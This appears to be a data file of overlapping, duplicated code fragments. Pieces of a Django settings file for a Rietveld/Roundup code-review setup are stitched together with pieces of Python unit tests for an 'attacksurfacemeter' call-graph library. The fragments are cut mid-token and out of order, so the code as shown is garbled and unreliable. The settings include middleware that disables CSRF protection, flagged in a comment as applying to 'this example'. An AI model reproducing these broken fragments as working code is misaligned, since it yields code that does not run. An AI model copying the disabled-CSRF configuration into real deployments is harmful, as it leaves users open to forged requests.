"os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper',",
"'' # URL that handles the media served from MEDIA_ROOT. Make sure to",
"# Default values for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH",
"component (optional in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' #",
"can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 #",
"# 500K RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out,",
"installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID",
"URL that handles the media served from MEDIA_ROOT. Make sure to use a",
"panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS",
"'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF protection is DISABLED in",
"# If you set this to False, Django will make some optimizations so",
"'', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user')",
"CSS, JavaScript and images. Make sure to use a # trailing slash. #",
"= ( # ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''})",
"TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms',",
"can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be",
"os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH =",
"TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF =",
"# Make this unique, and don't share it with anybody. SECRET_KEY = _c.get('django',",
"del p, out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values",
"path component (optional in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/'",
"\"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that handles the media served from MEDIA_ROOT.",
"is a path component (optional in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL",
"= 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 # This",
"the directory that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL",
"settings for django_gae2django project. # NOTE: Keep the settings.py in examples directories in",
"1024 # 500K RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)",
"with anybody. SECRET_KEY = _c.get('django', 'secret_key') # List of callables that know how",
"Default values for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH =",
"'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request', )",
"time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name #",
"zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although",
"'Europe/Amsterdam' # Language code for this installation. All choices can be found here:",
"admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), )",
"available on all operating systems. # If running in a Windows environment this",
"# http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this",
"'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port')",
"LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024",
"this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by",
"here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set",
"sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES",
"= '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate()",
"ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth',",
"_c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms',",
"that handles the media served from MEDIA_ROOT. Make sure to use a #",
"from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS =",
"ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME",
"err = p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p, out, err except: pass",
"re, subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('<NAME>',",
"'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF protection is DISABLED",
"stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p, out,",
"# Keep in mind, that CSRF protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware',",
"DATABASE_PORT = _c.get('rdbms', 'port') # Local time zone for this installation. Choices can",
"# Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and don't",
"use a # trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' #",
"# Absolute path to the directory that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT",
"of callables that know how to import templates from various sources. TEMPLATE_LOADERS =",
"all choices may be available on all operating systems. # If running in",
"= ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin',",
"= '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 #",
"True # Absolute path to the directory that holds media. # Example: \"/home/media/media.lawrence.com/\"",
"be set to the same as your # system time zone. TIME_ZONE =",
"in sync with this one! import os, ConfigParser, re, subprocess DEBUG = False",
"to load the internationalization machinery. USE_I18N = True # Absolute path to the",
"Django will make some optimizations so as not # to load the internationalization",
"= '' # URL that handles the media served from MEDIA_ROOT. Make sure",
"'port') # Local time zone for this installation. Choices can be found here:",
"Keep the settings.py in examples directories in sync with this one! import os,",
"= 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 # This won't work with",
"= subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION = out.strip() p.wait()",
"_c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD",
"except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch rendering DEFAULT_CONTEXT",
"MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that",
"although not all choices may be available on all operating systems. # If",
"choices may be available on all operating systems. # If running in a",
"= 3 MAX_COLUMN_WIDTH = 2000 # This won't work with gae2django. RIETVELD_INCOMING_MAIL_ADDRESS =",
"served from MEDIA_ROOT. Make sure to use a # trailing slash if there",
"out.strip() p.wait() del p, out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') #",
"django_gae2django project. # NOTE: Keep the settings.py in examples directories in sync with",
"os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p,",
"= ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2'",
"optimizations so as not # to load the internationalization machinery. USE_I18N = True",
"= _c.get('rdbms', 'port') # Local time zone for this installation. Choices can be",
"'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' %",
"err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch rendering",
"here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all",
"Local time zone for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name",
"_c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms',",
") ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = (",
"'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS",
"( # ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\")",
"# required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = (",
"AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep",
"Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that handles the media served from",
"URL prefix for admin media -- CSS, JavaScript and images. Make sure to",
"p, out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for",
"must be set to the same as your # system time zone. TIME_ZONE",
"'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS =",
"templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS",
"will make some optimizations so as not # to load the internationalization machinery.",
"RIETVELD_REVISION = out.strip() p.wait() del p, out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__),",
"ADMINS = ( # ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'',",
"that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that handles",
"media -- CSS, JavaScript and images. Make sure to use a # trailing",
"= _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST =",
"UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch rendering DEFAULT_CONTEXT = 10",
"_c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME =",
"in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix",
"\"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and don't share it with",
"= 1 # If you set this to False, Django will make some",
"All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID =",
"'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS =",
"List of callables that know how to import templates from various sources. TEMPLATE_LOADERS",
"#RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K RIETVELD_REVISION",
"'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL =",
"= True # Absolute path to the directory that holds media. # Example:",
"# List of callables that know how to import templates from various sources.",
"appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K RIETVELD_REVISION = '<unknown>' try: p",
"the settings.py in examples directories in sync with this one! import os, ConfigParser,",
"# NOTE: Keep the settings.py in examples directories in sync with this one!",
"('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '',",
"Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and don't share",
"choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1",
"-- CSS, JavaScript and images. Make sure to use a # trailing slash.",
"as not # to load the internationalization machinery. USE_I18N = True # Absolute",
"= 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500",
"time zone. TIME_ZONE = 'Europe/Amsterdam' # Language code for this installation. All choices",
"'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware',",
"= ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE =",
"'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request',",
"'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local time zone for this installation. Choices",
"DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') #",
"values for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3",
"all operating systems. # If running in a Windows environment this must be",
"so as not # to load the internationalization machinery. USE_I18N = True #",
"this unique, and don't share it with anybody. SECRET_KEY = _c.get('django', 'secret_key') #",
"# system time zone. TIME_ZONE = 'Europe/Amsterdam' # Language code for this installation.",
"'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid)",
"ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name')"
] |
[
"callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs)",
"_) in target.nodes if i.function_name == 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before'])",
"= 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) #",
"Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '',",
"caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs)",
"Asserting if node attributes got carried over self.assertCountEqual( [ attrs for (i, attrs)",
"self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None",
"callee, defenses, list() ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs)",
"attrs) for (i, attrs) in target.nodes if i != expected['after'] ] ) #",
"-- c h -- i j graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c',",
"and j != expected['after'] ], ) def test_get_fragments(self): # Arrange # a --",
"'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate',",
"'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'),",
"caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main --",
"os import unittest import networkx as nx from attacksurfacemeter import utilities from attacksurfacemeter.call",
"def test_get_fragments(self): # Arrange # a -- b e -- f -- g",
"Environments.C)] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act",
"(caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, list() ) # Assert #",
"defense and vulnerable # Arrange source = 'cflow' defenses = [ Call('main', 'main.c',",
"in target.edges if i != expected['after'] and j != expected['after'] ], ) def",
"'gprof' caller = Call('main', 'main.c', Environments.C) callee = None # Act (caller_attrs, callee_attrs)",
"= Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee,",
"expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b',",
"= CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target = copy.deepcopy(target)",
"'./src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference) actual = { 'before': next( i",
"Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): #",
"('d', 'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'), ('h',",
"(i, attrs) in _target.nodes if i != expected['before'] ], [ (i, attrs) for",
"got carried over self.assertCountEqual( [ attrs for (i, j, attrs) in _target.edges if",
"source, caller, callee, list(), vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not",
"), True ) ) _target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)),",
"_target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) )",
"d -- c h -- i j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b',",
"('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a',",
"not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in",
") _target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) )",
"(i, j, attrs) for (i, j, attrs) in _target.edges if i != expected['before']",
"not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1)",
"(i, j, attrs) in _target.edges if i == expected['before'] or j == expected['before']",
"[ (i, j, attrs) for (i, j, attrs) in _target.edges if i !=",
"vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller = Call('main',",
"in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"Designed defense and vulnerable # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c',",
"Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow) # * Designed defense #",
"# Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs)",
"Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target",
"Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities ) # Assert",
"Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes got carried over",
"], ) def test_get_fragments(self): # Arrange # a -- b e -- f",
"attrs) for (i, j, attrs) in _target.edges if i != expected['before'] and j",
"from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments from",
"in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in",
"nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act",
"'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b',",
"attrs for (i, j, attrs) in target.edges if i == expected['after'] or j",
"not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"# Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main -- printf",
"1) # Scenario: main* -- validate+ (cflow) # * Designed defense # +",
"attributes got carried over self.assertCountEqual( [ (i, attrs) for (i, attrs) in _target.nodes",
"None (gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee",
"source = 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C)",
"# Scenario: main -- None (gprof) # Arrange source = 'gprof' caller =",
"target.nodes if i != expected['after'] ] ) # Asserting if OTHER edges and",
"in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"h -- i j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e',",
"self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a -- b e -- f",
"!= expected['after'] ], ) def test_get_fragments(self): # Arrange # a -- b e",
"'d'), ('d', 'a'), ('e', 'f'), ('f', 'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception,",
"in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown (cflow) # Arrange source",
"_target.nodes if i.function_name == 'GreeterSayHi' ), 'after': next( i for (i, _) in",
"# Scenario: main -- printf (cflow) # Arrange source = 'cflow' caller =",
"-- printf (cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C)",
"# * Designed defense # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c',",
"in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow) #",
"len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange",
"source, caller, callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' in",
"# * Vulnerable # + Designed defense and vulnerable # Arrange source =",
"defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c',",
") ) _target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' )",
"expected['after'] or j == expected['after'] ], ) # Asserting if OTHER nodes and",
"'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] =",
"Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof) # Arrange source =",
"[ attrs for (i, j, attrs) in target.edges if i == expected['after'] or",
"list() ) # Assert # Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in",
"def test_get_largest_fragment(self): # Arrange # a -- b e -- f -- g",
"'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'),",
"], [ attrs for (i, attrs) in target.nodes if i == expected['after'] ]",
"'d']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d',",
"self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes got carried over self.assertCountEqual(",
"or j == expected['before'] ], [ attrs for (i, j, attrs) in target.edges",
"import networkx as nx from attacksurfacemeter import utilities from attacksurfacemeter.call import Call from",
"self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous'",
"caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs)",
"'i'), ('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a',",
"caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'), ('f',",
"attrs) in target.nodes if i == expected['after'] ] ) # Asserting if edge",
"in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs)",
"not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof)",
"i == expected['after'] ] ) # Asserting if edge attributes got carried over",
"defenses = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee = Call('validate',",
"expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')] )",
"not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'),",
